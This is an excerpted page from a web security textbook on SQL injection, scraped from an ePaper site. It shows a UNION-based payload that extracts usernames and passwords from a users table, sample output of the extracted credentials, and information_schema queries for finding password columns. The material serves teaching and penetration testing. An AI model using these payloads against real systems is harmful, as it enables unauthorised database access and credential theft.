19.09.2017 Views

the-web-application-hackers-handbook

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

310 Chapter 9 n Attacking Data Stores<br />

NAME<br />

Mat<strong>the</strong>w Adamson<br />

shop_items<br />

shop_items<br />

shop_items<br />

addr_book<br />

addr_book<br />

users<br />

users<br />

E-MAIL<br />

handytrick@gmail.com<br />

price<br />

prodid<br />

prodname<br />

contactemail<br />

contactname<br />

username<br />

password<br />

Here, <strong>the</strong> users table is an obvious place to begin extracting data. We could<br />

extract data from <strong>the</strong> users table using this query:<br />

Name=Mat<strong>the</strong>w’%20UNION%20select%20username,password,null,null,null%20<br />

from%20users--<br />

NAME<br />

Mat<strong>the</strong>w Adamson<br />

administrator<br />

dev<br />

marcus<br />

smith<br />

jlo<br />

E-MAIL<br />

handytrick@gmail.com<br />

fme69<br />

uber<br />

8pinto<br />

twosixty<br />

6kdown<br />

TIP The information_schema is supported by MS-SQL, MySQL, and many<br />

o<strong>the</strong>r databases, including SQLite and Postgresql. It is designed to hold database<br />

metadata, making it a primary target for attackers wanting to examine<br />

<strong>the</strong> database. Note that Oracle doesn’t support this schema. When targeting<br />

an Oracle database, <strong>the</strong> attack would be identical in every o<strong>the</strong>r way. However,<br />

you would use <strong>the</strong> query SELECT table_name,column_name FROM all_tab_<br />

columns to retrieve information about tables and columns in <strong>the</strong> database.<br />

(You would use <strong>the</strong> user_tab_columns table to focus on <strong>the</strong> current database<br />

only.) When analyzing large databases for points of attack, it is usually best to<br />

look directly for interesting column names ra<strong>the</strong>r than tables. For instance:<br />

SELECT table_name,column_name FROM information_schema.columns where<br />

column_name LIKE ‘%PASS%’

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!